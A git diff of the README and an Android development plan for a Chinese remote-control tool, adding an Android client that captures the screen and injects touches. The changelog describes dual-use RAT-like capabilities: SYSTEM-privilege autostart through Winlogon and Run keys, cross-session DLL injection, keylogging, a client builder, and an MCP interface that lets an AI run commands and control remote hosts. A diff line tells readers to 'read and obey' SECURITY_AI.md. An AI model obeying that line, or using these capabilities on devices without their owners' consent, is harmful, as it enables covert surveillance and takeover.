<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||||
@@ -94,6 +94,7 @@
|
|||||||
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
|
||||||
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
||||||
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
||||||
|
| **Android** (v1.3.7+) | ✅ 螢幕 + 觸控/按鍵注入 | ❌ 不適用 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
|
|||||||
|
|
||||||
**編譯**:`cd linux && cmake . && make`
|
**編譯**:`cd linux && cmake . && make`
|
||||||
|
|
||||||
|
### Android 用戶端(v1.3.7+)
|
||||||
|
|
||||||
|
**系統需求**:Android 5.0 (API 21) 及以上
|
||||||
|
|
||||||
|
| 功能 | 狀態 | 實作 |
|
||||||
|
|---|---|---|
|
||||||
|
| 遠端桌面 | ✅ | MediaProjection + MediaCodec H.264 硬體編碼 |
|
||||||
|
| 觸控 / 按鍵注入 | ✅ | AccessibilityService,支援 D-pad TV 導航 |
|
||||||
|
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
|
| 裝置分組 | ✅ | 編譯期 patch 或服務端 `CMD_SET_GROUP` 動態修改;重啟後仍保留 |
|
||||||
|
|
||||||
|
**產生用戶端**:在主控 BuildDlg「產生」選 `ghost - Google Android`,填入伺服端 IP / 埠,生成 APK;使用 `android/sign_apk.bat` 重簽後安裝。
|
||||||
|
|
||||||
|
**編譯**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
|
||||||
|
|
||||||
### macOS 用戶端(v1.3.2+)
|
### macOS 用戶端(v1.3.2+)
|
||||||
|
|
||||||
**系統需求**:
|
**系統需求**:
|
||||||
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
|
|||||||
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
|
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
|
||||||
└────────┬─────────────────┘
|
└────────┬─────────────────┘
|
||||||
│
|
│
|
||||||
┌──────────────┼──────────────┐
|
┌──────────────┼──────────────┬──────────────┐
|
||||||
▼ ▼ ▼
|
▼ ▼ ▼ ▼
|
||||||
┌─────────┐ ┌─────────┐ ┌─────────┐
|
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||||
│ Windows │ │ Linux │ │ macOS │
|
│ Windows │ │ Linux │ │ macOS │ │ Android │
|
||||||
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │
|
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │
|
||||||
│ (DXGI) │ │ (X11) │ │ (CG) │
|
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
|
||||||
└─────────┘ └─────────┘ └─────────┘
|
└─────────┘ └─────────┘ └─────────┘ └─────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
### 多層授權(簡化視圖)
|
### 多層授權(簡化視圖)
|
||||||
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
- **C++ 主控 & Windows 用戶端**:VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
|
- **C++ 主控 & Windows 用戶端**:VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
|
||||||
- **Linux 用戶端**:`cd linux && cmake . && make`
|
- **Linux 用戶端**:`cd linux && cmake . && make`
|
||||||
- **macOS 用戶端**:`cd macos && ./build.sh`
|
- **macOS 用戶端**:`cd macos && ./build.sh`
|
||||||
|
- **Android 用戶端**:`cd android && ./build_apk.sh`(WSL/Linux)
|
||||||
- **Go 主控**:`cd server/go && go build ./cmd`
|
- **Go 主控**:`cd server/go && go build ./cmd`
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
|
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
|
||||||
|
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
|
||||||
|
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
|
||||||
|
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
|
||||||
|
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
|
||||||
|
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
|
||||||
|
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
|
||||||
|
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
|
||||||
|
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
|
||||||
|
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
|
||||||
|
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
|
||||||
|
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
|
||||||
|
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
|
||||||
|
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
|
||||||
|
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||||
|
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
|
||||||
|
|
||||||
|
### v1.3.8 (2026.8.3)
|
||||||
|
|
||||||
|
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **用戶端 SYSTEM 權限執行**:雙模式自動適配(SYSTEM / Admin / User),Winlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI,`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
|
||||||
|
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM(藍色高亮)/ Admin / User,一眼識別受控端權限上下文
|
||||||
|
- **遠端視窗管理選單(View Windows)**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
|
||||||
|
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
|
||||||
|
- **用戶端執行記錄對話框**:`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-free;IOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
|
||||||
|
- **訊息記錄搜尋列**:`LogSearchBar` 元件(286 行),關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
|
||||||
|
- **除錯選單(YAMA_DBG)**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
|
||||||
|
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
|
||||||
|
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
|
||||||
|
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
|
||||||
|
|
||||||
|
### v1.3.7 (2026.6.26)
|
||||||
|
|
||||||
|
**Android 用戶端 & 視窗擷取增強 & 安全加固**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **Android 用戶端**:首個 Android 受控端,支援 Android 5.0+(arm64-v8a / armeabi-v7a);MediaProjection + MediaCodec H.264 推流;AccessibilityService 觸控 / 按鍵注入;D-pad 焦點導航完整控制 TV / 機上盒
|
||||||
|
- **裝置分組**:編譯期 patch 預設 / 伺服端動態修改(`CMD_SET_GROUP`);分組名持久化至 `filesDir/yama_group`,App 重啟後保留
|
||||||
|
- **APK 產生與重簽**:BuildDlg 新增 `ghost - Google Android`,與 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自動偵測 SDK 完成重簽
|
||||||
|
- **伺服端刪除用戶端**:BYE 指令後 Android Service 透過 JNI 正常停止
|
||||||
|
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
|
||||||
|
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
|
||||||
|
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
|
||||||
|
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
|
||||||
|
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- H264 模式跳過首幀 ~8MB 原始巨幀,伺服端在首 IDR 幀後解鎖畫面
|
||||||
|
- 自適應尺寸渲染改進,減少尺寸切換閃爍
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- `ARGBToNV12` 奇數尺寸視窗堆積溢位(維度鉗制到偶數對齊)
|
||||||
|
- 連線初始化時多餘螢幕重啟(用戶端 `ScreenManager.cpp` + 伺服端 `ScreenSpyDlg.cpp` 雙端修復)
|
||||||
|
- 啟動時記憶體 DLL 未正確還原
|
||||||
|
- 授權用戶端鍵盤日誌目錄衝突(各實例使用獨立目錄)
|
||||||
|
|
||||||
### v1.3.6 (2026.6.14)
|
### v1.3.6 (2026.6.14)
|
||||||
|
|
||||||
**ROI 區域擷取 & Web 音訊串流 & 主控介面可用性全面提升**
|
**ROI 區域擷取 & Web 音訊串流 & 主控介面可用性全面提升**
|
||||||
|
|||||||
21
android/.gitignore
vendored
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
# Build output
|
||||||
|
build/
|
||||||
|
app/build/
|
||||||
|
|
||||||
|
# Gradle cache and generated configs
|
||||||
|
.gradle/
|
||||||
|
gradle/gradle-daemon-jvm.properties
|
||||||
|
|
||||||
|
# Local config (contains SDK path, machine-specific)
|
||||||
|
local.properties
|
||||||
|
|
||||||
|
# Android Studio project files
|
||||||
|
.idea/
|
||||||
|
*.iml
|
||||||
|
|
||||||
|
# Signing config
|
||||||
|
*.jks
|
||||||
|
*.keystore
|
||||||
|
|
||||||
|
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
|
||||||
|
!app/src/main/cpp/lib/**/*.a
|
||||||
266
android/PLAN.md
Normal file
@@ -0,0 +1,266 @@
|
|||||||
|
# Android 客户端开发计划书
|
||||||
|
|
||||||
|
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
|
||||||
|
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、代码复用分析
|
||||||
|
|
||||||
|
### 1.1 可 100% 直接复用(NDK 无改动)
|
||||||
|
|
||||||
|
| 文件 | 用途 | 依赖 |
|
||||||
|
|------|------|------|
|
||||||
|
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C,无 OS 依赖 |
|
||||||
|
| `common/aes.c/.h` | AES 加密 | 纯 C |
|
||||||
|
| `common/commands.h` | 协议定义(全平台共享) | 无 |
|
||||||
|
| `common/client_auth_state.h` | 认证状态机 | 无 |
|
||||||
|
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIX(Android NDK 支持) |
|
||||||
|
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
|
||||||
|
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
|
||||||
|
| `common/logger.h` | 日志 | 无 |
|
||||||
|
| `common/locker.h` | 互斥锁 | `std::mutex` |
|
||||||
|
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
|
||||||
|
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
|
||||||
|
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理(Linux 已复用) | POSIX socket |
|
||||||
|
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
|
||||||
|
| `client/sign_shim_unix.cpp` | 签名垫片(Linux/macOS 已复用) | `libsign.a` |
|
||||||
|
|
||||||
|
### 1.2 可参考逻辑、重新实现 Android 版本
|
||||||
|
|
||||||
|
| 现有文件 | Android 对应实现 | 原因 |
|
||||||
|
|----------|-----------------|------|
|
||||||
|
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同(MediaProjection vs X11) |
|
||||||
|
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同(AccessibilityService vs CGEvent) |
|
||||||
|
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`(Phase 4) | 系统 API 不同 |
|
||||||
|
| `macos/H264Encoder.mm` | Android MediaCodec 路径(Java 侧) | 硬件编码器 API 不同 |
|
||||||
|
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
|
||||||
|
|
||||||
|
### 1.3 不复用(Windows 专属)
|
||||||
|
|
||||||
|
- `client/ScreenCapturerDXGI.h`、`client/IOCPBase.h`、`client/ScreenSpy.cpp`(Windows GDI/DXGI)
|
||||||
|
- `client/KeyboardManager.cpp`(SendInput API)
|
||||||
|
- `client/KernelManager.cpp`、`client/ServicesManager.cpp`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、技术选型
|
||||||
|
|
||||||
|
### 2.1 屏幕捕获
|
||||||
|
|
||||||
|
**方案**:`MediaProjection` API(Android 5.0+)
|
||||||
|
|
||||||
|
```
|
||||||
|
MediaProjection
|
||||||
|
└── VirtualDisplay (Surface)
|
||||||
|
└── MediaCodec (Surface input,零拷贝)
|
||||||
|
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
|
||||||
|
```
|
||||||
|
|
||||||
|
- 无需 root,官方公开 API
|
||||||
|
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
|
||||||
|
- **实际采用零拷贝路径(Path A)**:VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface,无 ImageReader 中间环节
|
||||||
|
|
||||||
|
### 2.2 视频编码
|
||||||
|
|
||||||
|
**已采用**:Android `MediaCodec`(硬件 H.264 加速)✅
|
||||||
|
|
||||||
|
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU,零拷贝
|
||||||
|
- 关键帧前自动拼接 SPS+PPS,确保解码器可初始化
|
||||||
|
- 每 2 秒强制触发一次 IDR(兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
|
||||||
|
- 编码分辨率:长边限制 1080,保持宽高比,宽高各自 2 对齐(H.264 要求)
|
||||||
|
|
||||||
|
**编码流水线**:
|
||||||
|
```
|
||||||
|
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
|
||||||
|
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.3 输入控制
|
||||||
|
|
||||||
|
**已采用**:`AccessibilityService`(`ControlService.kt`)✅
|
||||||
|
|
||||||
|
| 事件 | 映射 |
|
||||||
|
| --- | --- |
|
||||||
|
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径,UP 时判断:位移 < 10px → 单击(dispatchTap),否则 → 拖拽(dispatchTouchGesture) |
|
||||||
|
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
|
||||||
|
| `WM_RBUTTONDOWN` | 长按 600ms |
|
||||||
|
| `WM_MOUSEWHEEL` | delta > 0(滚轮上)→ 手指下划 +400px;delta < 0 → 手指上划 -400px |
|
||||||
|
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
|
||||||
|
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
|
||||||
|
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
|
||||||
|
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
|
||||||
|
|
||||||
|
**关键实现细节**:
|
||||||
|
|
||||||
|
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64(固定 48 字节),**坐标从 lParam(offset 24)读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y(64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
|
||||||
|
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
|
||||||
|
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
|
||||||
|
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
|
||||||
|
|
||||||
|
### 2.4 网络传输
|
||||||
|
|
||||||
|
与 Linux 完全相同的 POSIX socket 路径:
|
||||||
|
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
|
||||||
|
- KCP over UDP 视频流(`ikcp.c` 纯 C,NDK 直接编译,当前未启用)
|
||||||
|
- TLS/AES 加密复用 `common/aes.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、目录结构(实际)
|
||||||
|
|
||||||
|
```
|
||||||
|
android/
|
||||||
|
├── PLAN.md # 本文件
|
||||||
|
├── README.md # 编译与安装说明
|
||||||
|
├── build_apk.sh # 编译脚本(release/debug/clean)
|
||||||
|
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
|
||||||
|
├── app/
|
||||||
|
│ ├── build.gradle
|
||||||
|
│ ├── proguard-rules.pro # 保留 JNI 方法名
|
||||||
|
│ └── src/main/
|
||||||
|
│ ├── AndroidManifest.xml
|
||||||
|
│ ├── java/com/yama/client/
|
||||||
|
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
|
||||||
|
│ │ ├── CaptureService.kt # ForegroundService:MediaProjection + MediaCodec
|
||||||
|
│ │ ├── ControlService.kt # AccessibilityService:手势注入 + 全局键 + 活动窗口上报
|
||||||
|
│ │ └── YamaBridge.kt # JNI 声明(nativeInit/Stop/SetScreenSize/OnH264Frame)
|
||||||
|
│ ├── cpp/
|
||||||
|
│ │ ├── CMakeLists.txt
|
||||||
|
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
|
||||||
|
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
|
||||||
|
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
|
||||||
|
│ │ ├── common/ → ../../common/ # 符号链接(commands.h 等)
|
||||||
|
│ │ ├── client/ → ../../client/ # 符号链接(IOCPClient 等)
|
||||||
|
│ │ └── lib/
|
||||||
|
│ │ ├── arm64-v8a/libsign.a
|
||||||
|
│ │ ├── arm64-v8a/libzstd.a
|
||||||
|
│ │ ├── armeabi-v7a/libsign.a
|
||||||
|
│ │ └── armeabi-v7a/libzstd.a
|
||||||
|
│ └── res/
|
||||||
|
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
|
||||||
|
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
|
||||||
|
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
|
||||||
|
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
|
||||||
|
│ ├── values/strings.xml
|
||||||
|
│ └── xml/accessibility_service_config.xml
|
||||||
|
├── build.gradle (project-level)
|
||||||
|
└── settings.gradle
|
||||||
|
```
|
||||||
|
|
||||||
|
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp`(`DispatchControlEvent` 全局函数)和 `ControlService.kt`;`SystemManager.cpp` 留待 Phase 4。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、开发阶段
|
||||||
|
|
||||||
|
### Phase 0:工程初始化 ✅ 已完成
|
||||||
|
|
||||||
|
- 创建 Android Studio 项目,配置 NDK + CMake
|
||||||
|
- `CMakeLists.txt` 引入 `common/`、`client/` 源文件(与 `linux/CMakeLists.txt` 同构)
|
||||||
|
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
|
||||||
|
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C,零外部依赖)和 `build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
|
||||||
|
|
||||||
|
### Phase 1:连接与协议 ✅ 已完成
|
||||||
|
|
||||||
|
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
|
||||||
|
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
|
||||||
|
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`)
|
||||||
|
- 设备信息上报:ANDROID_ID(XXH64 作为 ClientID)、型号、OS 版本、分辨率
|
||||||
|
- 心跳日志限流:60 秒最多打印一次,避免 logcat 刷屏
|
||||||
|
|
||||||
|
### Phase 2:屏幕捕获与编码 ✅ 已完成
|
||||||
|
|
||||||
|
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`,Surface 直连 `MediaCodec`
|
||||||
|
- SPS/PPS 缓存,IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
|
||||||
|
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264`),`SendH264` 封装帧头
|
||||||
|
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
|
||||||
|
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
|
||||||
|
|
||||||
|
### Phase 3:操作控制 ✅ 已完成(branch: feature/android-remote-control)
|
||||||
|
|
||||||
|
- `ControlService.kt`(`AccessibilityService`):手势注入、全局键、双击/长按/滚轮
|
||||||
|
- `main.cpp::DispatchControlEvent()`:JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
|
||||||
|
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
|
||||||
|
- 坐标 Bug 修复:64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同(MSG: offset 36,MSG64: offset 40);改为从 lParam(两者均在 offset 24)提取坐标,与其他所有客户端保持一致
|
||||||
|
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝;tap 改用 `lineTo(x+1, y)` 非退化路径
|
||||||
|
- 代码审查修复:JNI `ExceptionClear()`
|
||||||
|
|
||||||
|
### Phase 3 后期修复 ✅ 已完成
|
||||||
|
|
||||||
|
发现并修复的生产问题:
|
||||||
|
|
||||||
|
| 问题 | 根因 | 修复文件 |
|
||||||
|
|------|------|---------- |
|
||||||
|
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`:VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp` 在 `SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
|
||||||
|
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME`,`SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
|
||||||
|
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
|
||||||
|
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers`,`nativeOnH264Frame` 广播给全部 handler;每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
|
||||||
|
|
||||||
|
### Phase 4:系统信息与稳定性(进行中)
|
||||||
|
|
||||||
|
**已完成:**
|
||||||
|
|
||||||
|
| 功能 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
|
||||||
|
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
|
||||||
|
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
|
||||||
|
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo` 的 `BogoMIPS` |
|
||||||
|
| 后台保活 | `ForegroundService` + 持久通知(Phase 2 已完成),豁免 Doze 模式网络限制 |
|
||||||
|
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon(前景层 + 浅灰背景),兼容各厂商形状裁切 |
|
||||||
|
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
|
||||||
|
|
||||||
|
**待完成:**
|
||||||
|
|
||||||
|
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
|
||||||
|
